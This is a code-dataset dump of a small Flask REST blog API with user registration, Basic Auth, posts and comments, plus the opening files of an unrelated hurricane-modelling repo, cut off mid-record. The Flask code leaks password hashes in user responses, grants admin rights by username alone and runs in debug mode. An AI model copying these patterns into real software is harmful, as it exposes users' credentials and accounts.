[ { "alpha_fraction": 0.5614441633224487, "alphanum_fraction": 0.5738419890403748, "avg_line_length": 30.354700088500977, "blob_id": "8371753f9e2de897a9e55348f0ec2eac994a714c", "content_id": "73a46f7fc71a7cebf2334bd394433ad2510a2ffb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7340, "license_type": "no_license", "max_line_length": 109, "num_lines": 234, "path": "/app/api.py", "repo_name": "AlenaPliusnina/Flask_API", "src_encoding": "UTF-8", "text": "import json\nfrom datetime import datetime\n\nfrom flask import request, make_response\nfrom flask_restful import Resource, Api\nfrom flask import g\n\nfrom app import app, db\nfrom flask_httpauth import HTTPBasicAuth\n\nfrom app.models import User, Post, Comment\nfrom app.schemes import posts_schema, post_schema, comment_schema, comments_schema, users_schema, user_schema\n\napi = Api(app, prefix=\"/api/v1\")\nauth = HTTPBasicAuth()\n\n\n@auth.verify_password\ndef verify_password(username, password):\n user = User.query.filter_by(username=username).first()\n\n if not user or not user.verify_password(password):\n return False\n\n g.user = user\n\n return True\n\n\nclass UserListResource(Resource):\n @auth.login_required\n def get(self):\n if g.user.username == 'admin':\n users = User.query.all()\n return users_schema.dump(users)\n else:\n data = {'error': 'HTTP 403: Forbidden',\n 'message': 'Only the superuser can access.'}\n resp = make_response(json.dumps(data), 403)\n return resp\n\n def post(self):\n body = request.get_json()\n user = User(**body)\n exist_email = User.query.filter_by(email=user.email).first()\n exist_username = User.query.filter_by(username=user.username).first()\n\n if not exist_email and not exist_username:\n try:\n user.hash_password()\n user.save()\n data = {'message': 'You registered successfully. Please log in.'}\n resp = make_response(json.dumps(data), 201)\n return resp\n\n except Exception as e:\n return {'message': str(e)}, 401\n\n else:\n data = {'message': 'User already exists. Please login.'}\n resp = make_response(json.dumps(data), 202)\n return resp\n\n\nclass UserResource(Resource):\n @auth.login_required\n def get(self, user_id):\n if g.user.username == 'admin' or g.user.id == user_id:\n user = User.query.get_or_404(user_id)\n return user_schema.dump(user)\n else:\n data = {'error': 'HTTP 403: Forbidden',\n 'message': 'You can only access your registration information.'}\n resp = make_response(json.dumps(data), 403)\n return resp\n\n @auth.login_required\n def delete(self, user_id):\n\n user = User.query.get_or_404(user_id)\n\n if user.id == g.user.id or g.user.username == 'admin':\n db.session.delete(user)\n db.session.commit()\n data = {'message': 'The user was successfully deleted.'}\n resp = make_response(json.dumps(data), 200)\n return resp\n else:\n data = {'error': 'HTTP 403: Forbidden',\n 'message': 'You can only delete your account.'}\n resp = make_response(json.dumps(data), 403)\n return resp\n\n\nclass PostListResource(Resource):\n def get(self):\n posts = Post.query.all()\n return posts_schema.dump(posts)\n\n @auth.login_required\n def post(self):\n new_post = Post(\n author_id=g.user.id,\n title=request.json['title'],\n content=request.json['content'],\n publication_datetime=datetime.now(),\n )\n db.session.add(new_post)\n db.session.commit()\n return post_schema.dump(new_post)\n\n\nclass PostResource(Resource):\n def get(self, post_id):\n\n post = Post.query.get_or_404(post_id)\n return post_schema.dump(post)\n\n @auth.login_required\n def patch(self, post_id):\n\n post = Post.query.get_or_404(post_id)\n\n if post.author_id == g.user.id:\n if 'title' in request.json:\n post.title = request.json['title']\n if 'content' in request.json:\n post.content = request.json['content']\n\n db.session.commit()\n return post_schema.dump(post)\n else:\n data = {'error': 'HTTP 403: Forbidden',\n 'message': 'You can only edit your posts.'}\n resp = make_response(json.dumps(data), 403)\n return resp\n\n @auth.login_required\n def delete(self, post_id):\n\n post = Post.query.get_or_404(post_id)\n\n if post.author_id == g.user.id:\n db.session.delete(post)\n db.session.commit()\n\n data = {'message': 'The post was successfully deleted.'}\n resp = make_response(json.dumps(data), 200)\n return resp\n else:\n data = {'error': 'HTTP 403: Forbidden',\n 'message': 'You can only delete your posts.'}\n resp = make_response(json.dumps(data), 403)\n return resp\n\n\nclass CommentListResource(Resource):\n def get(self):\n comments = Comment.query.all()\n return comments_schema.dump(comments)\n\n @auth.login_required\n def post(self):\n new_comment = Comment(\n author_id=g.user.id,\n post_id=request.json['post_id'],\n title=request.json['title'],\n content=request.json['content'],\n publication_datetime=datetime.now()\n )\n\n post = Post.query.filter_by(id=request.json['post_id']).first()\n\n if post:\n db.session.add(new_comment)\n db.session.commit()\n return comment_schema.dump(new_comment)\n\n else:\n data = {'error': 'HTTP 404: Not Found',\n 'message': 'Post with this id was not found.'}\n resp = make_response(json.dumps(data), 404)\n return resp\n\n\nclass CommentResource(Resource):\n def get(self, comment_id):\n\n comment = Comment.query.get_or_404(comment_id)\n return comment_schema.dump(comment)\n\n @auth.login_required\n def patch(self, comment_id):\n\n comment = Comment.query.get_or_404(comment_id)\n\n if comment.author_id == g.user.id:\n if 'title' in request.json:\n comment.title = request.json['title']\n if 'content' in request.json:\n comment.content = request.json['content']\n\n db.session.commit()\n return comment_schema.dump(comment)\n else:\n data = {'error': 'HTTP 403: Forbidden',\n 'message': 'You can only edit your comments.'}\n resp = make_response(json.dumps(data), 403)\n return resp\n\n @auth.login_required\n def delete(self, comment_id):\n\n comment = Comment.query.get_or_404(comment_id)\n\n if comment.author_id == g.user.id:\n db.session.delete(comment)\n db.session.commit()\n data = {'message': 'The comment was successfully deleted.'}\n resp = make_response(json.dumps(data), 200)\n return resp\n else:\n data = {'error': 'HTTP 403: Forbidden',\n 'message': 'You can only delete your comments.'}\n resp = make_response(json.dumps(data), 403)\n return resp\n\n\napi.add_resource(UserListResource, '/users')\napi.add_resource(UserResource, '/users/<int:user_id>')\napi.add_resource(PostListResource, '/posts')\napi.add_resource(PostResource, '/posts/<int:post_id>')\napi.add_resource(CommentListResource, '/comments')\napi.add_resource(CommentResource, '/comments/<int:comment_id>')\n\n\n\n" }, { "alpha_fraction": 0.5094017386436462, "alphanum_fraction": 0.7059829235076904, "avg_line_length": 16.727272033691406, "blob_id": "579a2349bf17a25d1bde8694e8ba5caf328ef1e1", "content_id": "2fb96458b900c328b88e50461ac9595b2f27e3a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 585, "license_type": "no_license", "max_line_length": 30, "num_lines": 33, "path": "/requirements.txt", "repo_name": "AlenaPliusnina/Flask_API", "src_encoding": "UTF-8", "text": "alembic==1.5.5\naniso8601==9.0.0\nbcrypt==3.2.0\ncffi==1.14.5\nclick==7.1.2\ncycler==0.10.0\nFlask==1.1.2\nFlask-Bcrypt==0.7.1\nFlask-HTTPAuth==4.2.0\nflask-marshmallow==0.14.0\nFlask-Migrate==2.7.0\nFlask-RESTful==0.3.8\nFlask-SQLAlchemy==2.4.4\ngunicorn==20.0.4\nitsdangerous==1.1.0\nJinja2==2.11.3\nkiwisolver==1.3.1\nMako==1.1.4\nMarkupSafe==1.1.1\nmarshmallow==3.10.0\nmarshmallow-sqlalchemy==0.24.2\nmatplotlib==3.3.4\npasslib==1.7.4\nPillow==8.1.0\npycparser==2.20\npyparsing==2.4.7\npython-dateutil==2.8.1\npython-editor==1.0.4\npytz==2021.1\nresponse==0.5.0\nsix==1.15.0\nSQLAlchemy==1.3.23\nWerkzeug==1.0.1\n" }, { "alpha_fraction": 0.6671490669250488, "alphanum_fraction": 0.6763145327568054, "avg_line_length": 37.407405853271484, "blob_id": "04101a306eb070445cafaf6998b5b5c0840574e6", "content_id": "604333cf04ff99dc062a03fd44c5064ea29e0fc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2073, "license_type": "no_license", "max_line_length": 95, "num_lines": 54, "path": "/app/models.py", "repo_name": "AlenaPliusnina/Flask_API", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom flask_bcrypt import generate_password_hash, check_password_hash\n\nfrom app import db\n\n\nclass User(db.Model):\n __tablename__ = 'users'\n id = db.Column(db.Integer, primary_key=True, nullable=False)\n username = db.Column(db.String(80), unique=True, nullable=False)\n email = db.Column(db.String(120), unique=True, nullable=False)\n password = db.Column(db.String(128), nullable=False)\n\n posts = db.relationship('Post', backref='user', lazy='dynamic', cascade=\"all,delete\")\n comments = db.relationship('Comment', backref='user', lazy='dynamic', cascade=\"all,delete\")\n\n def hash_password(self):\n self.password = generate_password_hash(self.password).decode('utf8')\n\n def verify_password(self, password):\n return check_password_hash(self.password, password)\n\n def save(self):\n db.session.add(self)\n db.session.commit()\n\n def __repr__(self):\n return '<User %r>' % self.username\n\n\nclass Post(db.Model):\n __tablename__ = 'posts'\n id = db.Column(db.Integer, primary_key=True, nullable=False)\n author_id = db.Column(db.Integer, db.ForeignKey(User.id), nullable=False)\n title = db.Column(db.String(50), nullable=False)\n content = db.Column(db.String(256), nullable=False)\n publication_datetime = db.Column(db.DateTime(), default=datetime.now(), nullable=False)\n comments = db.relationship('Comment', backref='post', lazy='dynamic', cascade=\"all,delete\")\n\n def __repr__(self):\n return '<Post %s>' % self.title\n\n\nclass Comment(db.Model):\n __tablename__ = 'comments'\n id = db.Column(db.Integer, primary_key=True, nullable=False)\n post_id = db.Column(db.Integer, db.ForeignKey(Post.id), nullable=False)\n author_id = db.Column(db.Integer, db.ForeignKey(User.id), nullable=False)\n title = db.Column(db.String(50), nullable=False)\n content = db.Column(db.String(256), nullable=False)\n publication_datetime = db.Column(db.DateTime(), default=datetime.now(), nullable=False)\n\n def __repr__(self):\n return '<Comment %s>' % self.title" }, { "alpha_fraction": 0.716292142868042, "alphanum_fraction": 0.716292142868042, "avg_line_length": 16, "blob_id": "858ac8d684102fc6e4ddb92a494dcbc7261a44ec", "content_id": "71f6691373e872541dafac6cf57b8c211883206f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 356, "license_type": "no_license", "max_line_length": 39, "num_lines": 21, "path": "/app/__init__.py", "repo_name": "AlenaPliusnina/Flask_API", "src_encoding": "UTF-8", "text": "from config import Config\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\n\n\ndef create_app():\n app = Flask(__name__)\n app.config.from_object(Config)\n app.debug = True\n\n return app\n\n\napp = create_app()\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\n\nfrom app import api, models\ndb.create_all()" }, { "alpha_fraction": 0.6614481210708618, "alphanum_fraction": 0.6614481210708618, "avg_line_length": 25.230770111083984, "blob_id": "42863c81294554b9f647647946f7bb70ebae00ad", "content_id": "d8e504f455ad78b901d8df01a846e8b8832b8e3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1022, "license_type": "no_license", "max_line_length": 92, "num_lines": 39, "path": "/app/schemes.py", "repo_name": "AlenaPliusnina/Flask_API", "src_encoding": "UTF-8", "text": "from flask_marshmallow import Marshmallow\nfrom app import app\nfrom app.models import User, Post, Comment\n\nma = Marshmallow(app)\n\n\nclass CommentSchema(ma.Schema):\n class Meta:\n fields = (\"id\", \"post_id\", \"author_id\", \"title\", \"content\", \"publication_datetime\")\n model = Comment\n ordered = True\n\n\nclass PostSchema(ma.Schema):\n class Meta:\n fields = (\"id\", \"title\", \"content\", \"author_id\", \"publication_datetime\", \"comments\")\n model = Post\n ordered = True\n\n comments = ma.Nested(CommentSchema, many=True)\n\n\nclass UserSchema(ma.Schema):\n class Meta:\n fields = (\"id\", \"username\", \"email\", \"password\", \"posts\", \"comments\")\n model = User\n ordered = True\n\n posts = ma.Nested(CommentSchema, many=True)\n comments = ma.Nested(CommentSchema, many=True)\n\n\npost_schema = PostSchema()\nposts_schema = PostSchema(many=True)\ncomment_schema = PostSchema()\ncomments_schema = PostSchema(many=True)\nuser_schema = UserSchema()\nusers_schema = UserSchema(many=True)" }, { "alpha_fraction": 0.6507424116134644, "alphanum_fraction": 0.6617172360420227, "avg_line_length": 33.411109924316406, "blob_id": "9efb5b1ff38006aec3cadc2ab8126ab03f84b018", "content_id": "b6dd2a84df56a794b287ca885ab84d1303b7a1bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4608, "license_type": "no_license", "max_line_length": 136, "num_lines": 90, "path": "/README.md", "repo_name": "AlenaPliusnina/Flask_API", "src_encoding": "UTF-8", "text": "#Flask API\n\n Flask, Flask-RESTful, SQLAlchemy\n\nHeroku: https://afternoon-river-16729.herokuapp.com/\n\nТЗ:\n\n Необходимо написать http-сервис с помощью Flask и развернуть его на сервере, например, heroku (можно захостить и на другом). \n Приложение должно предоставлять API, позволяющее:\n - проходить регистрацию и авторизовываться (тип авторизации - Basic Auth); \n - видеть все опубликованные посты (без авторизации); \n - публиковать, редактировать, удалять только свои посты (только с авторизацией); \n - публиковать, редактировать и удалять только свои комментарии под постами (только с авторизацией).\n\nОписание api:\n\n1. /api/v1/users\n\n - GET: информация о зарегистрированных пользователях (доступна только для пользователя - admin)\n - POST: регистрация нового пользователя (тип авторизации - Basic Auth)\n \n формат:\n {\n \"username\": \"user\",\n \"email\": \"user@mail.ru\",\n \"password\": \"password\"\n }\n\n2. /api/v1/users/<int:user_id> (доступно для самого пользователя и админа)\n\n - GET: информация о зарегистрированном пользователе с id = user_id \n - DELETE: удалить пользователя \n\n3. /api/v1/posts\n\n - GET: список всех постов (доступен всем пользователям)\n - POST: добавление нового поста (доступно для зарегистрированных и авотризованных поьзователей)\n\n формат:\n {\n \"title\": \"title\",\n \"content\": \"content\"\n }\n\n4. /api/v1/posts/<int:post_id>\n\n - GET: информация о посте с id = post_id (доступно всем пользователям)\n - PATCH: редактирование поста с id = post_id (доступно только если пост принадлежит авторизованному пользователю)\n - DELETE: удаление поста с id = post_id (доступно только если пост принадлежит авторизованному пользователю)\n\n5. /api/v1/comments\n\n - GET: список всех комментариев (доступен всем пользователям)\n - POST: добавление нового комментария под постом (доступно для зарегистрированных и авотризованных поьзователей)\n\n формат:\n { \n \"post_id\": \"1\",\n \"title\": \"title\",\n \"content\": \"content\"\n }\n \n6. /api/v1/comments/<int:comment_id>\n\n - GET: информация о комментарии с id = comment_id (доступно всем пользователям)\n - PATCH: редактирование комментария с id = comment_id (доступно только если комментарий принадлежит авторизованному пользователю)\n - DELETE: удаление комментария с id = comment_id (доступно только если комментарий принадлежит авторизованному пользователю)\n \nРазворачиваем проект локально:\n\n1. Скачайте репозиторий\n\n2. Создайт виртуальное окружение:\n\n python -m venv env\n\n3. Активируйте виртуальное окружение:\n\n source env/bin/activate\n\n4. Чтобы установить все требуемые библиотеки python в новом окружении выполните команду:\n\n pip install -r requirements.txt\n\n5. Запустите сервер командой:\n\n python -m flask run\n\n6. Приложение будет доступно по пути: http://127.0.0.1:5000/\n\n" } ]
6
timmotej/dnsconf
https://github.com/timmotej/dnsconf
76c010146ed639bbb8898835d91ec996be7bc726
1568f46738553661ced6a47a02f2abbbd3855ea4
65148c955a0557be1b5535b74379824572bcd537
refs/heads/master
2018-12-24T15:28:04.132021
2018-10-18T18:21:44
2018-10-18T18:21:44
152,957,566
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5371900796890259, "alphanum_fraction": 0.5757575631141663, "avg_line_length": 17.37974739074707, "blob_id": "1a82bf9c84f35969a96e45ee62184f9ab850eb51", "content_id": "1d13d6ff2f95520856b6af2380eee21132e5b6f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1452, "license_type": "no_license", "max_line_length": 101, "num_lines": 79, "path": "/change_file.py", "repo_name": "timmotej/dnsconf", "src_encoding": "UTF-8", "text": "#!/bin/env python\n\n\nimport os\nimport sys\nimport re\n\ncurd = os.getcwd()\n\nprint(curd)\n\ndef ins2line(string,substring,replstr,nth):\n\treturn re.sub(r'((.*?'+substring+'.*?){'+str(nth-1)+'})'+substring, r'\\1'+substring+replstr, string)\n\ndef del4line(string,substring,replstr,nth):\n\treturn re.sub(r'((.*?'+substring+'.*?){'+str(nth-1)+'})'+substring+replstr, r'\\1'+substring, string)\n\ndef insnewlines(string,substring,replstr,nth):\n\treturn re.sub(r'((.*?'+substring+'.*?){'+str(nth)+'})\\\\n', r'\\1\\n'+replstr, string)\n\nfile2ch = curd + '/' + str(sys.argv[1])\nfile_how = curd + '/' + str(sys.argv[2])\nb = []\nc = []\nprint(file2ch)\nprint(file_how)\n\nwith open(file2ch,'r') as a:\n\tb = a.read()\n\nprint('b:',b)\n\nwith open(file_how,'r') as file_from:\n\tc = file_from.read()\n\tc = c.split(\"\\n\")\n\tprint(c)\n\nif str(sys.argv[3]) == '1':\n\tc1 = ''\n\tc2 = ''\n\tcounti = 0\n\tfor texti in c:\n\t\tif counti % 2 == 0:\n\t\t\tc1 = texti\n\t\t\tprint(c1)\n\t\telse:\n\t\t\tc2 = texti\n\t\t\tprint(c2)\n\t\t\tb = ins2line(b,c1,c2,int(sys.argv[4]))\n\t\tcounti += 1\n\nif str(sys.argv[3]) == '2':\n\tc1 = ''\n\tc2 = ''\n\tcounti = 0\n\tfor texti in c:\n\t\tif counti % 2 == 0:\n\t\t\tc1 = texti\n\t\telse:\n\t\t\tc2 = texti\n\t\t\tb = del4line(b,c1,c2,int(sys.argv[4]))\n\t\tcounti += 1\n\nif str(sys.argv[3]) == '3':\n\tc1 = ''\n\tc2 = ''\n\tcounti = 0\n\tfor texti in c:\n\t\tif counti % 2 == 0:\n\t\t\tc1 = texti\n\t\telse:\n\t\t\tc2 = texti\n\t\t\tb = insnewlines(b,c1,c2,int(sys.argv[4]))\n\t\tcounti += 1\n\nprint('new b:',b)\n\nwith open(file2ch,'w') as a:\n\ta.writelines(b)\n" }, { "alpha_fraction": 0.7397660613059998, "alphanum_fraction": 0.7573099136352539, "avg_line_length": 30, "blob_id": "979eafc3d5ba09548b08befc3145b0b4b86a1a9b", "content_id": "6c69cb9ecb4953e5c3809c0cb950fd60b8b6ea52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 342, "license_type": "no_license", "max_line_length": 61, "num_lines": 11, "path": "/README.md", "repo_name": "timmotej/dnsconf", "src_encoding": "UTF-8", "text": "# dnsconf\nDNS config script\n\nPlan of project:\n\n1. make script functions to change files - done + tested\n2. make script for changing dns files \n3. test script on files in script folder\n4. DNS wildcards - someone to know how to set them up?\n5. add one script to rule other scripts\n6. more to come about installing Openshift in next project...\n\n" } ]
2
doanguyen/chasquid
https://github.com/doanguyen/chasquid
f2f6360d1eb9a3f1a38feed0512891dd5b3cf2bd
5878fc74f35cee1f27641dd40ae33001502f734f
dbb0261b00eabb8be0e43c3336c3f2e17bb2e470
refs/heads/master
2020-03-30T16:22:26.016375
2018-07-22T10:15:40
2018-07-22T10:15:40
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7423312664031982, "alphanum_fraction": 0.7472392916679382, "avg_line_length": 28.035715103149414, "blob_id": "356d3c7c1734f280af5391c27a7e4be3249b1255", "content_id": "8d459c2ac68d4b64dbb4dce09ea83dec84b72238", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 815, "license_type": "permissive", "max_line_length": 78, "num_lines": 28, "path": "/test/util/smtpc.py", "repo_name": "doanguyen/chasquid", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n#\n# Simple SMTP client for testing purposes.\n\nimport argparse\nimport email.parser\nimport email.policy\nimport smtplib\nimport sys\n\nap = argparse.ArgumentParser()\nap.add_argument(\"--server\", help=\"SMTP server to connect to\")\nap.add_argument(\"--user\", help=\"Username to use in SMTP AUTH\")\nap.add_argument(\"--password\", help=\"Password to use in SMTP AUTH\")\nargs = ap.parse_args()\n\n# Parse the email using the \"default\" policy, which is not really the default.\n# If unspecified, compat32 is used, which does not support UTF8.\nmsg = email.parser.Parser(policy=email.policy.default).parse(sys.stdin)\n\ns = smtplib.SMTP(args.server)\ns.starttls()\ns.login(args.user, args.password)\n\n# Note this does NOT support non-ascii message payloads transparently (headers\n# are ok).\ns.send_message(msg)\ns.quit()\n\n\n" }, { "alpha_fraction": 0.733031690120697, "alphanum_fraction": 0.738310694694519, "avg_line_length": 27.826086044311523, "blob_id": "f0de10d1eeb9e88709caf0f34d0692d77da71312", "content_id": "41c0d5db58ee1b9e8eece325e6cc137eaea9ba6b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 1326, "license_type": "permissive", "max_line_length": 78, "num_lines": 46, "path": "/test/Dockerfile", "repo_name": "doanguyen/chasquid", "src_encoding": "UTF-8", "text": "# Docker file for creating a docker container that can run the tests.\n#\n# Create the image:\n# docker build -t chasquid-test -f test/Dockerfile .\n#\n# Run the tests:\n# docker run --rm chasquid-test make test\n#\n# Get a shell inside the image (for debugging):\n# docker run -it --entrypoint=/bin/bash chasquid-test\n\nFROM golang:latest\n\nWORKDIR /go/src/blitiri.com.ar/go/chasquid\nCOPY . .\n\n# Make debconf/frontend non-interactive, to avoid distracting output about the\n# lack of $TERM.\nENV DEBIAN_FRONTEND noninteractive\n\n# Install the basics for the integration tests.\nRUN apt-get update -q\nRUN apt-get install -y -q python3 msmtp\n\n# Packages for the (optional) dovecot integration test.\nRUN apt-get install -y -q gettext-base dovecot-imapd\n\n# Packages for the (optional) exim integration test.\nRUN apt-get install -y -q exim4-daemon-light\nRUN cd test/t-02-exim && mkdir -p .exim4 && ln -s /usr/sbin/exim4 .exim4/\n\n# Packages for the (optional) TLS tracking test.\nRUN apt-get install -y -q dnsmasq\n\n\nRUN go get -d ./...\nRUN go install ./...\n\n# Don't run the tests as root: it makes some integration tests more difficult,\n# as for example Exim has hard-coded protections against running as root.\nRUN useradd -m chasquid\nRUN chown -R chasquid:chasquid .\nUSER chasquid\n\n# Tests expect the $USER variable set.\nENV USER chasquid\n" }, { "alpha_fraction": 0.5920190811157227, "alphanum_fraction": 0.5997617840766907, "avg_line_length": 20.805194854736328, "blob_id": "544dbb5dc86ccf6762ec2562bc52eec2f6e96a6a", "content_id": "761073dd75286539bd710218913e96b451fa5aa8", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1679, "license_type": "permissive", "max_line_length": 70, "num_lines": 77, "path": "/test/util/mail_diff", "repo_name": "doanguyen/chasquid", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport difflib\nimport email.parser\nimport mailbox\nimport sys\n\nf1, f2 = sys.argv[1:3]\n\nexpected = email.parser.Parser().parse(open(f1))\n\nmbox = mailbox.mbox(f2, create=False)\nmsg = mbox[0]\n\ndiff = False\n\nfor h, val in expected.items():\n\tif h not in msg:\n\t\tprint(\"Header missing: %r\" % h)\n\t\tdiff = True\n\t\tcontinue\n\n\tif expected[h] == '*':\n\t\tcontinue\n\n\tif msg[h] != val:\n\t\tprint(\"Header %r differs: %r != %r\" % (h, val, msg[h]))\n\t\tdiff = True\n\n\ndef flexible_eq(expected, got):\n \"\"\"Compare two strings, supporting wildcards.\n\n This functions compares two strings, but supports wildcards on the\n expected string. The following characters have special meaning:\n\n - ? matches any character.\n - * matches anything until the end of the line.\n\n Returns True if equal (considering wildcards), False otherwise.\n \"\"\"\n posG = 0\n for c in expected:\n if posG >= len(got):\n return False\n\n if c == '?':\n posG += 1\n continue\n if c == '*':\n while got[posG] != '\\n':\n posG += 1\n continue\n continue\n\n if c != got[posG]:\n return False\n\n posG += 1\n\n return True\n\n\nif not flexible_eq(expected.get_payload(), msg.get_payload()):\n\tdiff = True\n\n\tif expected.is_multipart() != msg.is_multipart():\n\t\tprint(\"Multipart differs, expected %s, got %s\" % (\n\t\t\texpected.is_multipart(), msg.is_multipart()))\n\telif not msg.is_multipart():\n\t\texp = expected.get_payload().splitlines()\n\t\tgot = msg.get_payload().splitlines()\n\t\tprint(\"Payload differs:\")\n\t\tfor l in difflib.ndiff(exp, got):\n\t\t\tprint(l)\n\nsys.exit(0 if not diff else 1)\n" }, { "alpha_fraction": 0.633273720741272, "alphanum_fraction": 0.633273720741272, "avg_line_length": 20.227848052978516, "blob_id": "6321b7e07693206a9b4928a2cff237bf42cc090e", "content_id": "47a97bafb07aceb90140a0f33e55bd609a82b77a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Go", "length_bytes": 1677, "license_type": "permissive", "max_line_length": 67, "num_lines": 79, "path": "/internal/smtpsrv/conn_test.go", "repo_name": "doanguyen/chasquid", "src_encoding": "UTF-8", "text": "package smtpsrv\n\nimport (\n\t\"testing\"\n\n\t\"blitiri.com.ar/go/chasquid/internal/domaininfo\"\n\t\"blitiri.com.ar/go/chasquid/internal/testlib\"\n\t\"blitiri.com.ar/go/chasquid/internal/trace\"\n\t\"blitiri.com.ar/go/spf\"\n)\n\nfunc TestSecLevel(t *testing.T) {\n\t// We can't simulate this externally because of the SPF record\n\t// requirement, so do a narrow test on Conn.secLevelCheck.\n\tdir := testlib.MustTempDir(t)\n\tdefer testlib.RemoveIfOk(t, dir)\n\n\tdinfo, err := domaininfo.New(dir)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create domain info: %v\", err)\n\t}\n\n\tc := &Conn{\n\t\ttr: trace.New(\"testconn\", \"testconn\"),\n\t\tdinfo: dinfo,\n\t}\n\n\t// No SPF, skip security checks.\n\tc.spfResult = spf.None\n\tc.onTLS = true\n\tif !c.secLevelCheck(\"from@slc\") {\n\t\tt.Fatalf(\"TLS seclevel failed\")\n\t}\n\n\tc.onTLS = false\n\tif !c.secLevelCheck(\"from@slc\") {\n\t\tt.Fatalf(\"plain seclevel failed, even though SPF does not exist\")\n\t}\n\n\t// Now the real checks, once SPF passes.\n\tc.spfResult = spf.Pass\n\n\tif !c.secLevelCheck(\"from@slc\") {\n\t\tt.Fatalf(\"plain seclevel failed\")\n\t}\n\n\tc.onTLS = true\n\tif !c.secLevelCheck(\"from@slc\") {\n\t\tt.Fatalf(\"TLS seclevel failed\")\n\t}\n\n\tc.onTLS = false\n\tif c.secLevelCheck(\"from@slc\") {\n\t\tt.Fatalf(\"plain seclevel worked, downgrade was allowed\")\n\t}\n}\n\nfunc TestIsHeader(t *testing.T) {\n\tno := []string{\n\t\t\"a\", \"\\n\", \"\\n\\n\", \" \\n\", \" \",\n\t\t\"a:b\", \"a: b\\nx: y\",\n\t\t\"\\na:b\\n\", \" a\\nb:c\\n\",\n\t}\n\tfor _, s := range no {\n\t\tif isHeader([]byte(s)) {\n\t\t\tt.Errorf(\"%q accepted as header, should be rejected\", s)\n\t\t}\n\t}\n\n\tyes := []string{\n\t\t\"\", \"a:b\\n\",\n\t\t\"X-Post-Data: success\\n\",\n\t}\n\tfor _, s := range yes {\n\t\tif !isHeader([]byte(s)) {\n\t\t\tt.Errorf(\"%q rejected as header, should be accepted\", s)\n\t\t}\n\t}\n}\n" } ]
4
nairita87/Ocean_dir
https://github.com/nairita87/Ocean_dir
a42d77f321fd9299335c33d2916db46843741d18
f8061be5c1a730e0095df159fab70647f85e93a7
25770dca4dbd76242e933afc7c84be49a41393bd
refs/heads/ocean_coastal
2022-11-09T02:12:32.317079
2020-05-26T17:55:29
2020-05-26T17:55:29
271,111,965
1
0
NOASSERTION
2020-06-09T21:18:40
2020-06-09T21:30:51
2020-06-19T01:13:21
Fortran
[ { "alpha_fraction": 0.5988538861274719, "alphanum_fraction": 0.6962750554084778, "avg_line_length": 30.727272033691406, "blob_id": "95f06fd447298aac6a0e42cd57b54c417ccfc137", "content_id": "20d21f3c8b650876a563861cb3bed7b60f2f811c", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 349, "license_type": "permissive", "max_line_length": 82, "num_lines": 11, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/tests/utils/test_gis.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "from geopy.distance import geodesic\nfrom utils.gis import geodistkm\n\ndef test_gis():\n albuquerque = [35.0844, -106.6504] #(lat,lon)\n los_alamos = [35.8800, -106.3031] #(lat,lon)\n\n result1 = geodesic(albuquerque,los_alamos).km\n result2 = geodistkm(albuquerque[1],albuquerque[0],los_alamos[1],los_alamos[0])\n\n assert result1 == result2\n" }, { "alpha_fraction": 0.5771543383598328, "alphanum_fraction": 0.5811623334884644, "avg_line_length": 54.44444274902344, "blob_id": "d367e64646364352b67243f99cb5f78c2db1754d", "content_id": "b83db9506f1b1f4627e732fdfa3f3292131fee9b", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 998, "license_type": "permissive", "max_line_length": 102, "num_lines": 18, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/hurricane_model/hurricane.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import datetime\n\nclass Hurricane:\n def __init__(self, center: tuple, extent: float, pcentral: float, deltap: float,\n vmax: float, b: float, time: float, initial_datetime: datetime.datetime):\n self.center = center # Position of the eye (lon,lat) in radians as tuple.\n self.extent = extent # The maximum extent of the hurricane in kilometers.\n self.vforward = [] # Forward velocity [ve, vn] in km/hr.\n self.pcentral = pcentral # Central pressure in millibars.\n self.deltap = deltap # Pressure difference in millibars.\n self.vmax = vmax # The maximum gradient wind [ve, vn] in km/hr.\n self.b = b # The Holland parameter, conventionally in the range [0.5,2.5]\n self.time = time # Time of this trajectory point in hours.\n self.ref_time = initial_datetime\n\n\n def set_vf(self, vf: tuple):\n self.vforward = vf\n" }, { "alpha_fraction": 0.5398374199867249, "alphanum_fraction": 0.6113821268081665, "avg_line_length": 20.964284896850586, "blob_id": "28e1d5b8e2bce0ea92b82489e32c5d3fe842396e", "content_id": "7492b8761947fbf70887f785a1efd089d32a3757", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 615, "license_type": "permissive", 